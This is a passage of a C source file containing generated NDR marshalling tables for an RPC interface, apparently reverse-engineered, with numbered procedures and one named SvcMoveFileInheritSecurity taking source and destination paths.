612 | /* Parameter arg_4 */
613 |
614 | /* 570 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */
615 | /* 572 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
616 | /* 574 */ 0x8, /* FC_LONG */
617 | 0x0, /* 0 */
618 |
619 | /* Return value */
620 |
621 | /* 576 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
622 | /* 578 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */
623 | /* 580 */ 0x8, /* FC_LONG */
624 | 0x0, /* 0 */
625 |
626 | /* Procedure Proc11 */
627 |
628 | /* 582 */ 0x0, /* 0 */
629 | 0x48, /* Old Flags: */
630 | /* 584 */ NdrFcLong( 0x0 ), /* 0 */
631 | /* 588 */ NdrFcShort( 0xb ), /* 11 */
632 | /* 590 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */
633 | /* 592 */ 0x32, /* FC_BIND_PRIMITIVE */
634 | 0x0, /* 0 */
635 | /* 594 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
636 | /* 596 */ NdrFcShort( 0x1c ), /* 28 */
637 | /* 598 */ NdrFcShort( 0x8 ), /* 8 */
638 | /* 600 */ 0x44, /* Oi2 Flags: has return, has ext, */
639 | 0x5, /* 5 */
640 | /* 602 */ 0xa, /* 10 */
641 | 0x1, /* Ext Flags: new corr desc, */
642 | /* 604 */ NdrFcShort( 0x0 ), /* 0 */
643 | /* 606 */ NdrFcShort( 0x0 ), /* 0 */
644 | /* 608 */ NdrFcShort( 0x0 ), /* 0 */
645 | /* 610 */ NdrFcShort( 0x0 ), /* 0 */
646 |
647 | /* Parameter arg_1 */
648 |
649 | /* 612 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
650 | /* 614 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
651 | /* 616 */ 0x6, /* FC_SHORT */
652 | 0x0, /* 0 */
653 |
654 | /* Parameter arg_2 */
655 |
656 | /* 618 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
657 | /* 620 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
658 | /* 622 */ 0x8, /* FC_LONG */
659 | 0x0, /* 0 */
660 |
661 | /* Parameter arg_3 */
662 |
663 | /* 624 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
664 | /* 626 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
665 | /* 628 */ 0x6, /* FC_SHORT */
666 | 0x0, /* 0 */
667 |
668 | /* Parameter arg_4 */
669 |
670 | /* 630 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
671 | /* 632 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
672 | /* 634 */ 0x8, /* FC_LONG */
673 | 0x0, /* 0 */
674 |
675 | /* Return value */
676 |
677 | /* 636 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
678 | /* 638 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */
679 | /* 640 */ 0x8, /* FC_LONG */
680 | 0x0, /* 0 */
681 |
682 | /* Procedure Proc12 */
683 |
684 | /* 642 */ 0x0, /* 0 */
685 | 0x48, /* Old Flags: */
686 | /* 644 */ NdrFcLong( 0x0 ), /* 0 */
687 | /* 648 */ NdrFcShort( 0xc ), /* 12 */
688 | /* 650 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
689 | /* 652 */ 0x32, /* FC_BIND_PRIMITIVE */
690 | 0x0, /* 0 */
691 | /* 654 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
692 | /* 656 */ NdrFcShort( 0x0 ), /* 0 */
693 | /* 658 */ NdrFcShort( 0x8 ), /* 8 */
694 | /* 660 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */
695 | 0x2, /* 2 */
696 | /* 662 */ 0xa, /* 10 */
697 | 0x1, /* Ext Flags: new corr desc, */
698 | /* 664 */ NdrFcShort( 0x0 ), /* 0 */
699 | /* 666 */ NdrFcShort( 0x0 ), /* 0 */
700 | /* 668 */ NdrFcShort( 0x0 ), /* 0 */
701 | /* 670 */ NdrFcShort( 0x0 ), /* 0 */
702 |
703 | /* Parameter arg_1 */
704 |
705 | /* 672 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */
706 | /* 674 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
707 | /* 676 */ NdrFcShort( 0x56 ), /* Type Offset=86 */
708 |
709 | /* Return value */
710 |
711 | /* 678 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
712 | /* 680 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
713 | /* 682 */ 0x8, /* FC_LONG */
714 | 0x0, /* 0 */
715 |
716 | /* Procedure Proc13 */
717 |
718 | /* 684 */ 0x0, /* 0 */
719 | 0x48, /* Old Flags: */
720 | /* 686 */ NdrFcLong( 0x0 ), /* 0 */
721 | /* 690 */ NdrFcShort( 0xd ), /* 13 */
722 | /* 692 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
723 | /* 694 */ 0x32, /* FC_BIND_PRIMITIVE */
724 | 0x0, /* 0 */
725 | /* 696 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
726 | /* 698 */ NdrFcShort( 0xe ), /* 14 */
727 | /* 700 */ NdrFcShort( 0x8 ), /* 8 */
728 | /* 702 */ 0x44, /* Oi2 Flags: has return, has ext, */
729 | 0x3, /* 3 */
730 | /* 704 */ 0xa, /* 10 */
731 | 0x1, /* Ext Flags: new corr desc, */
732 | /* 706 */ NdrFcShort( 0x0 ), /* 0 */
733 | /* 708 */ NdrFcShort( 0x0 ), /* 0 */
734 | /* 710 */ NdrFcShort( 0x0 ), /* 0 */
735 | /* 712 */ NdrFcShort( 0x0 ), /* 0 */
736 |
737 | /* Parameter arg_1 */
738 |
739 | /* 714 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
740 | /* 716 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
741 | /* 718 */ 0x6, /* FC_SHORT */
742 | 0x0, /* 0 */
743 |
744 | /* Parameter arg_2 */
745 |
746 | /* 720 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
747 | /* 722 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
748 | /* 724 */ 0x8, /* FC_LONG */
749 | 0x0, /* 0 */
750 |
751 | /* Return value */
752 |
753 | /* 726 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
754 | /* 728 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
755 | /* 730 */ 0x8, /* FC_LONG */
756 | 0x0, /* 0 */
757 |
758 | /* Procedure SvcMoveFileInheritSecurity */
759 |
760 | /* 732 */ 0x0, /* 0 */
761 | 0x48, /* Old Flags: */
762 | /* 734 */ NdrFcLong( 0x0 ), /* 0 */
763 | /* 738 */ NdrFcShort( 0xe ), /* 14 */
764 | /* 740 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */
765 | /* 742 */ 0x32, /* FC_BIND_PRIMITIVE */
766 | 0x0, /* 0 */
767 | /* 744 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
768 | /* 746 */ NdrFcShort( 0x8 ), /* 8 */
769 | /* 748 */ NdrFcShort( 0x8 ), /* 8 */
770 | /* 750 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */
771 | 0x4, /* 4 */
772 | /* 752 */ 0xa, /* 10 */
773 | 0x1, /* Ext Flags: new corr desc, */
774 | /* 754 */ NdrFcShort( 0x0 ), /* 0 */
775 | /* 756 */ NdrFcShort( 0x0 ), /* 0 */
776 | /* 758 */ NdrFcShort( 0x0 ), /* 0 */
777 | /* 760 */ NdrFcShort( 0x0 ), /* 0 */
778 |
779 | /* Parameter src */
780 |
781 | /* 762 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */
782 | /* 764 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
783 | /* 766 */ NdrFcShort( 0x68 ), /* Type Offset=104 */
784 |
785 | /* Parameter dest */
786 |
787 | /* 768 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */
788 | /* 770 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
789 | /* 772 */ NdrFcShort( 0x68 ), /* Type Offset=104 */
790 |
791 | /* Parameter flags */
792 |
793 | /* 774 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
794 | /* 776 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
795 | /* 778 */ 0x8, /* FC_LONG */
796 | 0x0, /* 0 */
797 |
798 | /* Return value */
799 |
800 | /* 780 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
801 | /* 782 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
802 | /* 784 */ 0xb8, /* FC_INT3264 */
803 | 0x0, /* 0 */
804 |
805 | /* Procedure Proc15 */
806 |
807 | /* 786 */ 0x0, /* 0 */
808 | 0x48, /* Old Flags: */
809 | /* 788 */ NdrFcLong( 0x0 ), /* 0 */
810 | /* 792 */ NdrFcShort( 0xf ), /* 15 */
811 | /* 794 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */
812 | /* 796 */ 0x32, /* FC_BIND_PRIMITIVE */
813 | 0x0, /* 0 */
814 | /* 798 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
815 | /* 800 */ NdrFcShort( 0xe ), /* 14 */
816 | /* 802 */ NdrFcShort( 0x8 ), /* 8 */
817 | /* 804 */ 0x47, /* Oi2 Flags: srv must size, clt must size, has return, has ext, */
818 | 0x4, /* 4 */
819 | /* 806 */ 0xa, /* 10 */
820 | 0x1, /* Ext Flags: new corr desc, */
821 | /* 808 */ NdrFcShort( 0x0 ), /* 0 */
822 | /* 810 */ NdrFcShort( 0x0 ), /* 0 */
823 | /* 812 */ NdrFcShort( 0x0 ), /* 0 */
824 | /* 814 */ NdrFcShort( 0x0 ), /* 0 */
825 |
826 | /* Parameter arg_1 */
827 |
828 | /* 816 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
829 | /* 818 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
830 | /* 820 */ 0x6, /* FC_SHORT */
831 | 0x0, /* 0 */
832 |
833 | /* Parameter arg_2 */
834 |
835 | /* 822 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
836 | /* 824 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
837 | /* 826 */ 0x8, /* FC_LONG */
838 | 0x0, /* 0 */
839 |
840 | /* Parameter arg_3 */
841 |
842 | /* 828 */ NdrFcShort( 0x11b ), /* Flags: must size, must free, in, out, simple ref, */
843 | /* 830 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
844 | /* 832 */ NdrFcShort( 0x6e ), /* Type Offset=110 */
845 |
846 | /* Return value */
847 |
848 | /* 834 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
849 | /* 836 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
850 | /* 838 */ 0x8, /* FC_LONG */
851 | 0x0, /* 0 */
852 |
853 | /* Procedure Proc16 */
854 |
855 | /* 840 */ 0x0, /* 0 */
856 | 0x48, /* Old Flags: */
857 | /* 842 */ NdrFcLong( 0x0 ), /* 0 */
858 | /* 846 */ NdrFcShort( 0x10 ), /* 16 */
859 | /* 848 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
860 | /* 850 */ 0x32, /* FC_BIND_PRIMITIVE */
861 | 0x0, /* 0 */
862 | /* 852 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
863 | /* 854 */ NdrFcShort( 0x0 ), /* 0 */
864 | /* 856 */ NdrFcShort( 0x8 ), /* 8 */
865 | /* 858 */ 0x44, /* Oi2 Flags: has return, has ext, */
866 | 0x1, /* 1 */
867 | /* 860 */ 0xa, /* 10 */
868 | 0x1, /* Ext Flags: new corr desc, */
869 | /* 862 */ NdrFcShort( 0x0 ), /* 0 */
870 | /* 864 */ NdrFcShort( 0x0 ), /* 0 */
871 | /* 866 */ NdrFcShort( 0x0 ), /* 0 */
872 | /* 868 */ NdrFcShort( 0x0 ), /* 0 */
873 |
874 | /* Return value */
875 |
876 | /* 870 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
877 | /* 872 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
878 | /* 874 */ 0x8, /* FC_LONG */
879 | 0x0, /* 0 */
880 |
881 | /* Procedure Proc17 */
882 |
883 | /* 876 */ 0x0, /* 0 */
884 | 0x48, /* Old Flags: */
885 | /* 878 */ NdrFcLong( 0x0 ), /* 0 */
886 | /* 882 */ NdrFcShort( 0x11 ), /* 17 */
887 | /* 884 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
888 | /* 886 */ 0x32, /* FC_BIND_PRIMITIVE */
889 | 0x0, /* 0 */
890 | /* 888 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
891 | /* 890 */ NdrFcShort( 0xe ), /* 14 */
892 | /* 892 */ NdrFcShort( 0x8 ), /* 8 */
893 | /* 894 */ 0x44, /* Oi2 Flags: has return, has ext, */
894 | 0x3, /* 3 */
895 | /* 896 */ 0xa, /* 10 */
896 | 0x1, /* Ext Flags: new corr desc, */
897 | /* 898 */ NdrFcShort( 0x0 ), /* 0 */
898 | /* 900 */ NdrFcShort( 0x0 ), /* 0 */
899 | /* 902 */ NdrFcShort( 0x0 ), /* 0 */
900 | /* 904 */ NdrFcShort( 0x0 ), /* 0 */
901 |
902 | /* Parameter arg_1 */
903 |
904 | /* 906 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
905 | /* 908 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
906 | /* 910 */ 0x6, /* FC_SHORT */
907 | 0x0, /* 0 */
908 |
909 | /* Parameter arg_2 */
910 |
911 | /* 912 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
912 | /* 914 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
913 | /* 916 */ 0x8, /* FC_LONG */
914 | 0x0, /* 0 */
915 |
916 | /* Return value */
917 |
918 | /* 918 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
919 | /* 920 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
920 | /* 922 */ 0x8, /* FC_LONG */
921 | 0x0, /* 0 */
922 |
923 | /* Procedure Proc18 */
924 |
925 | /* 924 */ 0x0, /* 0 */
926 | 0x48, /* Old Flags: */
927 | /* 926 */ NdrFcLong( 0x0 ), /* 0 */
928 | /* 930 */ NdrFcShort( 0x12 ), /* 18 */
929 | /* 932 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
930 | /* 934 */ 0x32, /* FC_BIND_PRIMITIVE */
931 | 0x0, /* 0 */
932 | /* 936 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
933 | /* 938 */ NdrFcShort( 0x6 ), /* 6 */
934 | /* 940 */ NdrFcShort( 0x24 ), /* 36 */
935 | /* 942 */ 0x44, /* Oi2 Flags: has return, has ext, */
936 | 0x3, /* 3 */
937 | /* 944 */ 0xa, /* 10 */
938 | 0x1, /* Ext Flags: new corr desc, */
939 | /* 946 */ NdrFcShort( 0x0 ), /* 0 */
940 | /* 948 */ NdrFcShort( 0x0 ), /* 0 */
941 | /* 950 */ NdrFcShort( 0x0 ), /* 0 */
942 | /* 952 */ NdrFcShort( 0x0 ), /* 0 */
943 |
944 | /* Parameter arg_1 */
945 |
946 | /* 954 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
947 | /* 956 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
948 | /* 958 */ 0x6, /* FC_SHORT */
949 | 0x0, /* 0 */
950 |
951 | /* Parameter arg_2 */
952 |
953 | /* 960 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */
954 | /* 962 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
955 | /* 964 */ 0x8, /* FC_LONG */
956 | 0x0, /* 0 */
957 |
958 | /* Return value */
959 |
960 | /* 966 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
961 | /* 968 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
962 | /* 970 */ 0x8, /* FC_LONG */
963 | 0x0, /* 0 */
964 |
965 | /* Procedure Proc19 */
966 |
967 | /* 972 */ 0x0, /* 0 */
968 | 0x48, /* Old Flags: */
969 | /* 974 */ NdrFcLong( 0x0 ), /* 0 */
970 | /* 978 */ NdrFcShort( 0x13 ), /* 19 */
971 | /* 980 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */
972 | /* 982 */ 0x32, /* FC_BIND_PRIMITIVE */
973 | 0x0, /* 0 */
974 | /* 984 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
975 | /* 986 */ NdrFcShort( 0x6 ), /* 6 */
976 | /* 988 */ NdrFcShort( 0x24 ), /* 36 */
977 | /* 990 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */
978 | 0x4, /* 4 */
979 | /* 992 */ 0xa, /* 10 */
980 | 0x1, /* Ext Flags: new corr desc, */
981 | /* 994 */ NdrFcShort( 0x0 ), /* 0 */
982 | /* 996 */ NdrFcShort( 0x0 ), /* 0 */
983 | /* 998 */ NdrFcShort( 0x0 ), /* 0 */
984 | /* 1000 */ NdrFcShort( 0x0 ), /* 0 */
985 |
986 | /* Parameter arg_1 */
987 |
988 | /* 1002 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
989 | /* 1004 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
990 | /* 1006 */ 0x6, /* FC_SHORT */
991 | 0x0, /* 0 */
992 |
993 | /* Parameter arg_2 */
994 |
995 | /* 1008 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */
996 | /* 1010 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
997 | /* 1012 */ NdrFcShort( 0x7c ), /* Type Offset=124 */
998 |
999 | /* Parameter arg_3 */
1000 |
1001 | /* 1014 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */
1002 | /* 1016 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
1003 | /* 1018 */ 0x8, /* FC_LONG */
1004 | 0x0, /* 0 */
1005 |
1006 | /* Return value */
1007 |
1008 | /* 1020 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1009 | /* 1022 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
1010 | /* 1024 */ 0x8, /* FC_LONG */
1011 | 0x0, /* 0 */
1012 |
1013 | /* Procedure Proc20 */
1014 |
1015 | /* 1026 */ 0x0, /* 0 */
1016 | 0x48, /* Old Flags: */
1017 | /* 1028 */ NdrFcLong( 0x0 ), /* 0 */
1018 | /* 1032 */ NdrFcShort( 0x14 ), /* 20 */
1019 | /* 1034 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */
1020 | /* 1036 */ 0x32, /* FC_BIND_PRIMITIVE */
1021 | 0x0, /* 0 */
1022 | /* 1038 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1023 | /* 1040 */ NdrFcShort( 0xe ), /* 14 */
1024 | /* 1042 */ NdrFcShort( 0x8 ), /* 8 */
1025 | /* 1044 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */
1026 | 0x4, /* 4 */
1027 | /* 1046 */ 0xa, /* 10 */
1028 | 0x1, /* Ext Flags: new corr desc, */
1029 | /* 1048 */ NdrFcShort( 0x0 ), /* 0 */
1030 | /* 1050 */ NdrFcShort( 0x0 ), /* 0 */
1031 | /* 1052 */ NdrFcShort( 0x0 ), /* 0 */
1032 | /* 1054 */ NdrFcShort( 0x0 ), /* 0 */
1033 |
1034 | /* Parameter arg_1 */
1035 |
1036 | /* 1056 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
1037 | /* 1058 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1038 | /* 1060 */ 0x6, /* FC_SHORT */
1039 | 0x0, /* 0 */
1040 |
1041 | /* Parameter arg_2 */
1042 |
1043 | /* 1062 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */
1044 | /* 1064 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1045 | /* 1066 */ NdrFcShort( 0x7c ), /* Type Offset=124 */
1046 |
1047 | /* Parameter arg_3 */
1048 |
1049 | /* 1068 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
1050 | /* 1070 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
1051 | /* 1072 */ 0x8, /* FC_LONG */
1052 | 0x0, /* 0 */
1053 |
1054 | /* Return value */
1055 |
1056 | /* 1074 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1057 | /* 1076 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
1058 | /* 1078 */ 0x8, /* FC_LONG */
1059 | 0x0, /* 0 */
1060 |
1061 | /* Procedure Proc21 */
1062 |
1063 | /* 1080 */ 0x0, /* 0 */
1064 | 0x48, /* Old Flags: */
1065 | /* 1082 */ NdrFcLong( 0x0 ), /* 0 */
1066 | /* 1086 */ NdrFcShort( 0x15 ), /* 21 */
1067 | /* 1088 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
1068 | /* 1090 */ 0x32, /* FC_BIND_PRIMITIVE */
1069 | 0x0, /* 0 */
1070 | /* 1092 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1071 | /* 1094 */ NdrFcShort( 0x0 ), /* 0 */
1072 | /* 1096 */ NdrFcShort( 0x8 ), /* 8 */
1073 | /* 1098 */ 0x47, /* Oi2 Flags: srv must size, clt must size, has return, has ext, */
1074 | 0x2, /* 2 */
1075 | /* 1100 */ 0xa, /* 10 */
1076 | 0x1, /* Ext Flags: new corr desc, */
1077 | /* 1102 */ NdrFcShort( 0x0 ), /* 0 */
1078 | /* 1104 */ NdrFcShort( 0x0 ), /* 0 */
1079 | /* 1106 */ NdrFcShort( 0x0 ), /* 0 */
1080 | /* 1108 */ NdrFcShort( 0x0 ), /* 0 */
1081 |
1082 | /* Parameter arg_1 */
1083 |
1084 | /* 1110 */ NdrFcShort( 0x11b ), /* Flags: must size, must free, in, out, simple ref, */
1085 | /* 1112 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1086 | /* 1114 */ NdrFcShort( 0x84 ), /* Type Offset=132 */
1087 |
1088 | /* Return value */
1089 |
1090 | /* 1116 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1091 | /* 1118 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1092 | /* 1120 */ 0x8, /* FC_LONG */
1093 | 0x0, /* 0 */
1094 |
1095 | 0x0
1096 | }
1097 | };
1098 |
1099 | static const rpc_MIDL_TYPE_FORMAT_STRING rpc__MIDL_TypeFormatString =
1100 | {
1101 | 0,
1102 | {
1103 | NdrFcShort( 0x0 ), /* 0 */
1104 | /* 2 */
1105 | 0x11, 0xc, /* FC_RP [alloced_on_stack] [simple_pointer] */
1106 | /* 4 */ 0x8, /* FC_LONG */
1107 | 0x5c, /* FC_PAD */
1108 | /* 6 */
1109 | 0x11, 0x0, /* FC_RP */
1110 | /* 8 */ NdrFcShort( 0x1a ), /* Offset= 26 (34) */
1111 | /* 10 */
1112 | 0x1d, /* FC_SMFARRAY */
1113 | 0x1, /* 1 */
1114 | /* 12 */ NdrFcShort( 0x208 ), /* 520 */
1115 | /* 14 */ 0x5, /* FC_WCHAR */
1116 | 0x5b, /* FC_END */
1117 | /* 16 */
1118 | 0x1d, /* FC_SMFARRAY */
1119 | 0x0, /* 0 */
1120 | /* 18 */ NdrFcShort( 0x8 ), /* 8 */
1121 | /* 20 */ 0x1, /* FC_BYTE */
1122 | 0x5b, /* FC_END */
1123 | /* 22 */
1124 | 0x15, /* FC_STRUCT */
1125 | 0x3, /* 3 */
1126 | /* 24 */ NdrFcShort( 0x10 ), /* 16 */
1127 | /* 26 */ 0x8, /* FC_LONG */
1128 | 0x6, /* FC_SHORT */
1129 | /* 28 */ 0x6, /* FC_SHORT */
1130 | 0x4c, /* FC_EMBEDDED_COMPLEX */
1131 | /* 30 */ 0x0, /* 0 */
1132 | NdrFcShort( 0xfff1 ), /* Offset= -15 (16) */
1133 | 0x5b, /* FC_END */
1134 | /* 34 */
1135 | 0x15, /* FC_STRUCT */
1136 | 0x7, /* 7 */
1137 | /* 36 */ NdrFcShort( 0x448 ), /* 1096 */
1138 | /* 38 */ 0x8, /* FC_LONG */
1139 | 0x4c, /* FC_EMBEDDED_COMPLEX */
1140 | /* 40 */ 0x0, /* 0 */
1141 | NdrFcShort( 0xffe1 ), /* Offset= -31 (10) */
1142 | 0x8, /* FC_LONG */
1143 | /* 44 */ 0x6, /* FC_SHORT */
1144 | 0x6, /* FC_SHORT */
1145 | /* 46 */ 0x8, /* FC_LONG */
1146 | 0x6, /* FC_SHORT */
1147 | /* 48 */ 0x6, /* FC_SHORT */
1148 | 0x4c, /* FC_EMBEDDED_COMPLEX */
1149 | /* 50 */ 0x0, /* 0 */
1150 | NdrFcShort( 0xffe3 ), /* Offset= -29 (22) */
1151 | 0x8, /* FC_LONG */
1152 | /* 54 */ 0xb, /* FC_HYPER */
1153 | 0x4c, /* FC_EMBEDDED_COMPLEX */
1154 | /* 56 */ 0x0, /* 0 */
1155 | NdrFcShort( 0xffd1 ), /* Offset= -47 (10) */
1156 | 0x8, /* FC_LONG */
1157 | /* 60 */ 0x8, /* FC_LONG */
1158 | 0x5b, /* FC_END */
1159 | /* 62 */
1160 | 0x11, 0x4, /* FC_RP [alloced_on_stack] */
1161 | /* 64 */ NdrFcShort( 0x8 ), /* Offset= 8 (72) */
1162 | /* 66 */
1163 | 0x1d, /* FC_SMFARRAY */
1164 | 0x3, /* 3 */
1165 | /* 68 */ NdrFcShort( 0x8 ), /* 8 */
1166 | /* 70 */ 0x8, /* FC_LONG */
1167 | 0x5b, /* FC_END */
1168 | /* 72 */
1169 | 0x15, /* FC_STRUCT */
1170 | 0x3, /* 3 */
1171 | /* 74 */ NdrFcShort( 0x8 ), /* 8 */
1172 | /* 76 */ 0x4c, /* FC_EMBEDDED_COMPLEX */
1173 | 0x0, /* 0 */
1174 | /* 78 */ NdrFcShort( 0xfff4 ), /* Offset= -12 (66) */
1175 | /* 80 */ 0x5c, /* FC_PAD */
1176 | 0x5b, /* FC_END */
1177 | /* 82 */
1178 | 0x11, 0x0, /* FC_RP */
1179 | /* 84 */ NdrFcShort( 0x2 ), /* Offset= 2 (86) */
1180 | /* 86 */ 0xb1, /* FC_FORCED_BOGUS_STRUCT */
1181 | 0x3, /* 3 */
1182 | /* 88 */ NdrFcShort( 0x10 ), /* 16 */
1183 | /* 90 */ NdrFcShort( 0x0 ), /* 0 */
1184 | /* 92 */ NdrFcShort( 0x0 ), /* Offset= 0 (92) */
1185 | /* 94 */ 0x8, /* FC_LONG */
1186 | 0x6, /* FC_SHORT */
1187 | /* 96 */ 0x3e, /* FC_STRUCTPAD2 */
1188 | 0x8, /* FC_LONG */
1189 | /* 98 */ 0x6, /* FC_SHORT */
1190 | 0x6, /* FC_SHORT */
1191 | /* 100 */ 0x5c, /* FC_PAD */
1192 | 0x5b, /* FC_END */
1193 | /* 102 */
1194 | 0x11, 0x8, /* FC_RP [simple_pointer] */
1195 | /* 104 */
1196 | 0x25, /* FC_C_WSTRING */
1197 | 0x5c, /* FC_PAD */
1198 | /* 106 */
1199 | 0x11, 0x0, /* FC_RP */
1200 | /* 108 */ NdrFcShort( 0x2 ), /* Offset= 2 (110) */
1201 | /* 110 */
1202 | 0x1a, /* FC_BOGUS_STRUCT */
1203 | 0x3, /* 3 */
1204 | /* 112 */ NdrFcShort( 0x10 ), /* 16 */
1205 | /* 114 */ NdrFcShort( 0x0 ), /* 0 */
1206 | /* 116 */ NdrFcShort( 0x0 ), /* Offset= 0 (116) */
1207 | /* 118 */ 0x8, /* FC_LONG */
1208 | 0x8, /* FC_LONG */
1209 | /* 120 */ 0x8, /* FC_LONG */
1210 | 0x6, /* FC_SHORT */
1211 | /* 122 */ 0x3e, /* FC_STRUCTPAD2 */
1212 | 0x5b, /* FC_END */
1213 | /* 124 */
1214 | 0x12, 0x8, /* FC_UP [simple_pointer] */
1215 | /* 126 */
1216 | 0x25, /* FC_C_WSTRING */
1217 | 0x5c, /* FC_PAD */
1218 | /* 128 */
1219 | 0x11, 0x0, /* FC_RP */
1220 | /* 130 */ NdrFcShort( 0x2 ), /* Offset= 2 (132) */
1221 | /* 132 */ 0xb1, /* FC_FORCED_BOGUS_STRUCT */
1222 | 0x3, /* 3 */
1223 | /* 134 */ NdrFcShort( 0x14 ), /* 20 */
1224 | /* 136 */ NdrFcShort( 0x0 ), /* 0 */
1225 | /* 138 */ NdrFcShort( 0x0 ), /* Offset= 0 (138) */
1226 | /* 140 */ 0x8, /* FC_LONG */
1227 | 0x6, /* FC_SHORT */
1228 | /* 142 */ 0x3e, /* FC_STRUCTPAD2 */
1229 | 0x8, /* FC_LONG */
1230 | /* 144 */ 0x8, /* FC_LONG */
1231 | 0x8, /* FC_LONG */
1232 | /* 146 */ 0x5c, /* FC_PAD */
1233 | 0x5b, /* FC_END */
1234 |
1235 | 0x0
1236 | }
1237 | };
1238 |
